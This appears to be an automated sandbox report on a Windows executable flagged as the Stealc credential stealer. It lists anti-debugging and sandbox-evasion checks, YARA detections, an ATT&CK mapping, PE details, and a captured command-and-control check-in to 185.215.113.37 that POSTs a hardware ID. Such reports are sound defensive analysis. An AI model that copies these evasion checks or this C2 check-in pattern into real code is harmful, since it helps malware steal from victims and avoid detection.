Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B04910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B04910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00AFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00AFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00AFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B04570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B04570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B03EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B03EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AFDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00AFBE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AF1160 GetSystemInfo,ExitProcess,

0_2_00AF1160

Source: file.exe, file.exe, 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2182986141.0000000001915000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2182986141.00000000018D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13401
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13398
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13420
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13413
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13453

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AF45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00AF45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00B09860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B09750 mov eax, dword ptr fs:[00000030h]

0_2_00B09750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B078E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00B078E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3884, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B09600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B09600

Source: file.exe	Binary or memory string: [Program Manager
Source: file.exe, 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: [Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00B07B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B07980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00B07980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B07850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00B07850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B07A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00B07A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2140370390.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3884, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2140370390.0000000005480000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3884, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpqM	file.exe, 00000000.00000002.2182986141.0000000001902000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php%M	file.exe, 00000000.00000002.2182986141.0000000001902000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37G	file.exe, 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/l	file.exe, 00000000.00000002.2182986141.00000000018E9000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541095
Start date and time:	2024-10-24 12:10:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948302954318922
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'820'160 bytes
MD5:	3232476789303ec2731e9ccce8937fea
SHA1:	9d2054302efc53083547e139d7f8a7487e909c89
SHA256:	8e46ac374c025d82eb6c7c0db64706ce2546735b1dc5758087fb6fbe9041af84
SHA512:	83e093988daf1649ec994a1f07557e9fabd9a8fed52647379102414ba8b5be5584135db559149516f06f40662272c55cf0014f04dcf8dca04b1857a8232d52e4
SSDEEP:	24576:7uHFgUEdKlxkd4YCi5TrXwP7slXyC1qf7r4cPIeYa3xolQBqXk/cBmIi8Q8:SHCUEY4HwP7SXr1qfX4KBCQBqK+i8N
TLSH:	7D8533EC813E17EDE89E8E7E1889D04E30FF71448F465EFEB899153DA11B60A6248F54
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa8a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC220B9E93Ah
shld dword ptr [ebx], ebx, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC220BA0935h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a93ecb71b529076d3a6a95e427a13263	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x294000	0x200	32cc314bc2a1634160c80c87ae81ad14	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oxbstytm	0x4f2000	0x197000	0x196400	f34311c61cbec098d9a7f5b94f0c51f1	False	0.9948882211538461	data	7.954384653876487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yzvcyrux	0x689000	0x1000	0x400	da4a51ff8bcb97cde192d83a229bab4f	False	0.7099609375	data	5.793995449541384	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68a000	0x3000	0x2200	4fbc2db30dae5ee5286d1443da79c90c	False	0.06353400735294118	DOS executable (COM)	0.80571294913891	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T12:11:08.098877+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 12:11:06.873512983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:06.878959894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 24, 2024 12:11:06.879066944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:06.879647017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:06.885874033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 24, 2024 12:11:07.776592016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 24, 2024 12:11:07.776694059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:07.809176922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:07.814810991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 24, 2024 12:11:08.095180988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 24, 2024 12:11:08.098876953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 24, 2024 12:11:10.378079891 CEST	49711	80	192.168.2.6	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	185.215.113.37	80	3884	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 12:11:06.879647017 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 12:11:07.776592016 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 10:11:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 12:11:07.809176922 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHC Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 35 37 32 41 32 38 44 32 36 37 39 34 33 34 30 30 30 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="hwid"A0572A28D267943400063------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="build"doma------CAFBGHIDBGHJJKFHJDHC--
Oct 24, 2024 12:11:08.095180988 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 10:11:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	06:11:03
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaf0000
File size:	1'820'160 bytes
MD5 hash:	3232476789303EC2731E9CCCE8937FEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2140370390.0000000005480000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

